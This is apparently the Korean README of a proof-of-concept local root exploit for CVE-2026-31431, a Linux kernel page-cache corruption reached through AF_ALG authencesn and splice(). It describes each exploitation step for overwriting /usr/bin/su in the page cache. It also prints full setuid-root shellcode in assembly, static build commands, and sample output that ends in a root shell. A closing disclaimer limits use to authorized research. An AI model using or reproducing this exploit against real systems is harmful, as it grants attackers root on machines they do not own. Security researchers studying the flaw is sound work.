
CVE-2026-31431 (Copy Fail) PoC - authencesn AF_ALG + splice()를 통한 Linux 커널 페이지 캐시 손상
CVE-2026-31431(Copy Fail)에 대한 로컬 권한 상승 익스플로잇으로, C 언어로 작성되었습니다.
PT_LOAD 프로그램 헤더를 통해 /usr/bin/su의 엔트리 포인트 가상 주소를 파일 오프셋으로 변환합니다.authesn(hmac(sha256),cbc(aes))에 바인딩합니다.sendmsg()는 MSG_MORE 플래그와 함께 셸코드 바이트를 seqno_lo(바이트 4-7)로 포함하는 AAD를 전송합니다.splice()는 대상 파일의 페이지 캐시 페이지 32바이트를 AEAD 인증 태그로 전달합니다.recv()는 복호화를 트리거하고, authesn의 스크래치 쓰기가 연결된 페이지 캐시 페이지에 도달하여 제어된 4바이트를 기록합니다.execl("/usr/bin/su")가 손상된 페이지 캐시를 로드합니다. 40바이트 셸코드(setuid(0) + execve("/bin/sh"))가 setuid-root로 실행됩니다.xor edi, edi ; uid = 0
mov eax, 105 ; sys_setuid
syscall
xor edx, edx ; envp = NULL
push rdx ; null terminator
movabs rax, "/bin/sh" ; "/bin/sh\0"
push rax
mov rdi, rsp ; filename
push rdx ; NULL (argv[1])
push rdi ; argv[0]
mov rsi, rsp ; argv
mov eax, 59 ; sys_execve
syscall
musl-gcc 또는 정적 링크를 지원하는 모든 C 컴파일러가 필요합니다:
musl-gcc -static -O2 -s -o copyfail exploit.c
또는 GCC + glibc 사용 시:
gcc -static -O2 -s -o copyfail exploit.c
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)
이 개념 증명은 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.